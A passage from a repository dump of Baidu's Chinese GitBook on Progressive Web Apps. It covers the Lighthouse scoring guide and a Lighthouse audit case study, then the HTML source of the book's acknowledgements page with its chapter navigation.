这些权重的分配方式仍在探究之中，Lighthouse 的团队也在努力试图收集更多站点的数据样本，来将这套计算方法规范化。 减少性能评分的波动 当我们使用 Lighthouse 对实际站点进行测试时，难以避免会有一些影响评分的变量存在。每次访问，站点可能会加载不同的广告、脚本等，网络状况也可能不同。杀毒软件、浏览器插件以及一些其他对页面加载有干预的程序都可能导致评分的较大波动。所以，我们应尽量避免上述因素的影响，以得到更加一致性的数据。可以考虑使用持续集成系统或者第三方服务（如 WebPageTest）进行测试，往往会有更准确的数据。 提高性能评分 前面提到性能评分分为了三部分，Metrics 部分的指标项会直接影响分数，可以作为我们的主要参考点。另外的两部分中， Opportunities 提供了详细的建议和文档，来解释低分的原因，帮助我们具体进行实现和改进。Diagnostics 部分的列表项则为进一步改善性能的实验和调整，给出了指导。这两者不会纳入分数的计算。 PWA 评分 基准指标项 PWA（Progressive Web App）评分的分值区间也是0-100。Lighthouse 使用 PWA 基准检查项列表（Baseline PWA Checklist）进行测评，测评结果将这些指标项分成了四个类别，共包含12个自动测试项和3个手动测试项，其中各个自动测试项的评分权重是相同的。PWA 的评测指标对我们来说非常重要，我们可以从这四个类别详细了解一下基准指标项。 快速可靠 页面在移动网络条件下能够快速加载。 在离线条件下页面能够返回状态码200。这里我们可以通过 Service Worker 来实现离线可用。 start_url 在离线条件下返回状态码200。start_url 是前面章节我们提到过的 manifest.json 中的一个属性，它指定了用户打开该 PWA 时加载的 URL。 可安装 始终使用 HTTPS。 注册 Service Worker 来缓存页面以及 start_url。 使用 manifest 文件来实现安装 PWA 的需求，浏览器能够主动通知用户将应用添加到桌面，增加留存率。 PWA 优化 将 HTTP 流量重定向到 HTTPS。 配置自定义启动画面。 设置地址栏主题颜色。 页面内容针对视口大小自适应，对移动用户的展示更友好。 使用了 标签，并设置了 width 或 initial-scale 属性。 当 JavaScript 文件不可用时，提供降级措施，页面能显示基本内容而不出现白屏。 手动测试项 站点跨浏览器可用，如主流浏览器 Chrome, Edge, Firefox 及 Safari 等。 页面间切换流畅，即使在较差的网络环境下，切换动画也应该简洁顺畅，这是提高用户感知体验的关键。 保证每个页面都有独一无二的 URL，能够在新的浏览器窗口打开，且方便在社交媒体上进行分享。 示范性指标项 除了上述基准指标项之外，为了让 PWA 的体验更加完美，还有 Lighthouse 未实现检查的进阶指标，也就是可以作为示范性参考的 PWA 的指标，这些指标大多需要人工进行确认，它们也分成了几个类别，我们可以针对性地改进 PWA。 可索引 & 社交支持 站点的内容可以被 Baidu，Google 等搜索引擎收录索引。 提供必要的 Schema.org 标记数据，搜索引擎都会依据这些标记来优化搜索结果，让人们更容易找到正确的网页。 提供必要的社交标记数据，如 Twitter 的 标签，能够便于被这些社交站点的爬虫抓取。 提供 Canonical URL，一般适用于页面内容能使用多个 URL 访问的场景。 页面使用 History API，对于单页应用，确保 URL 不要使用片段标识符，如 https://example.com/#!user/26601 中 #！后面的部分。 用户体验 当页面加载时，确保页面内容不跳动或闪烁。 从详情页返回列表页时，记录之前的滚动位置。 输入文字时，键盘不会挡住输入框。 在 Standalone 模式下（从主屏幕启动的情况），页面内容可分享。 在不同的移动设备及桌面电脑上，站点能够自适应。 不要过度使用安装 APP 的推送。 在适当的时候显示添加到桌面的推送，避免打断用户正常使用流程。 性能 首次加载速度尽可能快，即使是在慢速 3G 移动网络下，可交互时间也应该在 5s 以内（在基准指标中，这个时间是 10s）。 缓存 站点使用 cache-first (缓存优先)的缓存策略。尽可能地使用这种策略，确保在慢网络环境和离线环境的加载速度始终相当。 用户处于离线状态时，应当适当地给出通知。可以使用 Network Information API 来实现。 推送通知 告知用户通知功能的使用背景和原因，保证得到许可。 建议用户开启推送通知的 UI 应当尽量友好，不能太强势。 站点显示权限请求时，屏幕的其他主体内容应当适度变暗，让用户更清楚地看到站点需要开启通知权限的理由。 推送通知的内容应当及时、准确，且具有较强的关联性。 给用户提供开启、关闭通知的操作权限。 附加功能点 使用 Credential Management API，帮助用户实现跨设备登录。 使用 Payment Request API，帮助用户方便地调起更友好的原生界面（native UI）进行支付操作。 访问无障碍评分 访问无障碍评分的分值由相关指标的加权平均值计算而来。可以在评分详情查阅每项指标的具体权重。同理，较大权重的指标项对分数的影响较大。无障碍性的每个指标项测试结果为pass或者fail，与性能指标项的计算方式不同，当页面只是部分通过某项指标时，页面的这项指标将不会得分。例如，如果页面中的一些元素有屏幕阅读器友好的命名，而其他的元素没有，那么这个页面的 screenreader-friendly-names 指标项得分为0。 最佳实践评分 最佳实践评分的分数区间为0-100。影响这项评分的指标项的权重都是相同的。如果我们想计算某个指标项对总体评分的贡献，用指标项的数量除以100即可。指标项和权重同样可以参考上文提供的评分详情表，我们可以结合测评结果一一进行优化。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"appendix01/3-lighthouse-case.html\":{\"url\":\"appendix01/3-lighthouse-case.html\",\"title\":\"3 Lighthouse 使用案例\",\"keywords\":\"\",\"body\":\"Lighthouse 使用案例 前面两节我们对 Lighthouse 的使用方法和性能评分计算的原理有了一定的了解，下面我们使用 Lighthouse 对一个实际站点 https://lavas.baidu.com/ 进行测试，看看 Lighthouse 能对站点提供哪些方面的改进指导。 对站点进行测试 为了更直观地展示测试结果，我们使用 Chrome Devtools 中集成的 Lighthouse 工具进行测试。 在 Chrome 中打开 https://lavas.baidu.com/ 打开 Chrome Devtools，并选择 Audits 面板 Lighthouse 提供了不同的模拟网络环境选项，我们可以根据需求进行选择，点击 Run Audits 开始测试。 测试结果 稍等片刻，Chrome 会新建一个新的会话窗口，将包含各项评分指标的 Lighthouse 测试报告展示出来，我们可以依次来看： 总体评分 报告的最上方是总体评分，如下图，可以看到站点在性能、PWA、最佳实践及 SEO 方面的表现还是不错的，在无障碍访问指标项上，评分稍低，需要重点进行改进。 具体到每一个方面，都能查看指标项的细节： Performance 性能评分 在选择网络环境为 No throttling 的条件下，FCP，FMP，首次交互时间等指标都能得到详细的统计，View Trace 还能看到页面每一帧的渲染过程。 Metrics 部分的指标与性能评分关联紧密，可以看到各个指标项都显示绿色，意味着它们都得到了 90-100 的分值。Opportunities 和 Diagnostics 部分的指标项虽然不纳入评分的计算，但也给我们改进提供了参考。可以看到站点存在字体文件加载优化、静态资源缓存等问题。 PWA 评分 在基准指标检查中，有一项未通过：Lighthouse 建议站点需要对 JavaScript 脚本不能正确加载的情况作降级处理。我们需要改进的是，页面的核心渲染脚本加载失败时，仍能够展示基本的静态内容，而不是空白页面，这一点在客户端渲染的 SPA 应用中尤其需要引起重视。除此之外，我们可以看到站点的其他 PWA 自动检查项都已经通过，然后手动检查一下跨浏览器兼容性、页面切换流畅度、页面 URL 等检查项即可。 无障碍访问评分 此项评分偏低，仅得到62分，说明站点在这部分存在的问题较多。展开可以看到问题的详情，如 DOM 元素使用不规范、结构不合理，页面颜色对比度不够，Meta 信息使用不正确等等，如果需要提高站点的无障碍可访问性，我们可以从这些方面对症下药进行完善。 Best Practices 最佳实践评分 站点在这部分的表现中规中矩，通过了15个检查项中的12个，暴露了3个问题，资源推荐使用 http2，跨域的跳转链接需要使用 rel 标识，不能使用废弃的 API。不通过检查测试，开发中我们很难注意到这些细节问题。 SEO 搜索引擎优化评分 结果显示站点的 robots.txt 文件缺失，需要改进。 小结 通过上述简单演示，我们对站点的各项指标就能有较为直观的了解，评分高的指标项值得积累开发经验，评分低的指标，对照着测试报告给出的建议，我们可以逐一完善。 Lighthouse 是一个开源的项目，主要由 Google Chrome 团队开发维护，它包含了强大的功能和较为繁荣的周边生态，本章只是就其使用方式、打分机制、测评指标等作了简要的介绍，在实际的 PWA 工程中，我们可能会运用到更详细的配置选项和测试参数，或者需要深入了解其运行原理，这些都可以通过 Github 上的项目文档进一步学习和实践。工欲善其事，必先利其器，有了 Lighthouse 这把利器的帮助，我们打造体验更好的 PWA 站点将不再是难事！ Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"thanks.html\":{\"url\":\"thanks.html\",\"title\":\"感谢\",\"keywords\":\"\",\"body\":\"致谢 最后，感谢所有参与本书编写、校对的小伙伴，感谢你们辛勤的付出，相信 Web，相信 PWA ！ Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:43 \"}}"
  },
  {
    "path": "docs/thanks.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>感谢 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    \n    <link rel=\"prev\" href=\"appendix01/3-lighthouse-case.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >感谢</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x81F4;&#x8C22;\"><b></b>&#x81F4;&#x8C22;</a></li></ul></div><a href=\"#&#x81F4;&#x8C22;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x81F4;&#x8C22;\"><a name=\"&#x81F4;&#x8C22;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x81F4;&#x8C22;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x81F4;&#x8C22;\" class=\"plugin-anchor\" href=\"#&#x81F4;&#x8C22;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x81F4;&#x8C22;</h1>\n<p>&#x6700;&#x540E;&#xFF0C;&#x611F;&#x8C22;&#x6240;&#x6709;&#x53C2;&#x4E0E;&#x672C;&#x4E66;&#x7F16;&#x5199;&#x3001;&#x6821;&#x5BF9;&#x7684;&#x5C0F;&#x4F19;&#x4F34;&#xFF0C;&#x611F;&#x8C22;&#x4F60;&#x4EEC;&#x8F9B;&#x52E4;&#x7684;&#x4ED8;&#x51FA;&#xFF0C;&#x76F8;&#x4FE1; Web&#xFF0C;&#x76F8;&#x4FE1; PWA &#xFF01;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    